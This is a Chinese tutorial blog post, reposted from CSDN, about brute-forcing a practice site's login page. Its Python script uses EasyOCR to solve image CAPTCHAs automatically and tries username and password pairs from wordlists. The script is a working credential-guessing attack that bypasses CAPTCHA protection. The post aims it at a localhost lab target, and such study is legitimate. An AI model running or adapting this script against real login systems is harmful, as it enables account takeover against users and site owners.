自学内容网 自学内容网

渗透测试入门学习——使用python脚本自动识别图片验证码,OCR技术初体验

写在前面

由于验证码在服务端生成后存储在服务器的session中,而标用于标识用户身份的sessionid存在于用户cookie中

所以本次识别验证码时需要用requests.session()创建会话对象,模拟真实的浏览器行为,保持与服务器的会话才能获取登录时服务器为用户生成验证码,也省去了手动在python代码中手动输入cookie的步骤

安装OCR库(需要python3.9)

Github地址:https://github.com/JaidedAI/EasyOCR

pip install easyocr

相关代码 

import requests
import easyocr


# 填入请求地址
code_url = "http://localhost/yanzhengma.php"
login_url = "http://localhost/login.php"

bf_flag = False
# success为未知,但可以尝试出登陆失败的信息
success = ""
failure = ["你的验证码不正确,请重新输入","您输入的用户名不存在","密码错误,请重新输入"] 
count = 0
# easyocr相关初始化设置识别英文字母或数字,不输出详细运行信息
reader = easyocr.Reader(['en'])
# 由于验证码在服务端生成后存储在服务器的session中,而标用于标识用户身份的sessionid存在于用户cookie中
# 所以这里需要用requests.session()创建会话对象,模拟真实的浏览器行为,保持与服务器的会话才能获取登录时为用户生成验证码
session = requests.session()

with open("./user.txt", 'r') as file_usr:
    with open("./pswd.txt", 'r') as file_pwd:
        while not bf_flag:
            first = file_usr.readline()
            if not first:
                break
            # 在内层循环之前,重置文件指针到文件开头实现遍历
            file_pwd.seek(0)
            while not bf_flag:
                second = file_pwd.readline()
                if not second:
                    break
                first = first.strip()
                second = second.strip()
                count += 1
                # 用会话对象向浏览器发请求并将验证码图片保存
                img = session.get(url = code_url).content
                with open('./code.jpg','wb') as code_file:
                    code_file.write(img)
                # 识别验证码内容
                try:
                    result = reader.readtext('./code.jpg')
                    # 取出识别结果
                    target_code = [text for (_, text, _) in result][0]
                except:
                    print("第"+ str(count) +"次尝试--失败:识别出现错误")
                if len(target_code) < 4:
                    print("第" + str(count) + "次尝试--验证码识别出错")
                    print(target_code)
                response = session.post(url = login_url,
                                        data = {"name":first, "pwd":second, "yzm":target_code ,"login":"%E7%99%BB%E5%BD%95"})
                print(response.text)
                check_flag = True
                for context in failure:
                    if context in response.text:
                        print("第"+ str(count) +"次尝试--失败:",first + " " + second)
                        check_flag = False
                        break;
                if check_flag:
                    print("第"+ str(count) +"次尝试--成功:",first + " " + second)
                    bf_flag = True;
                    break;

使用方式 

进入靶场随意尝试 

发现是用POST方式进行的请求,请求地址为/login.php需要将此地址填入脚本相应位置

右键验证码部分查看生成验证码的请求地址 

复制链接进行尝试,刷新一次即可得到一个随机的验证码,需要将此地址填入脚本相应位置

运行脚本等待结果,由于OCR识别会有各种各样的问题,有时需要重复跑几遍才能得到想要的结果

可以看到账号为admin密码为1234556时没有产生报错信息,暴力破解成功


原文地址:https://blog.csdn.net/qq_44611153/article/details/142709397

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!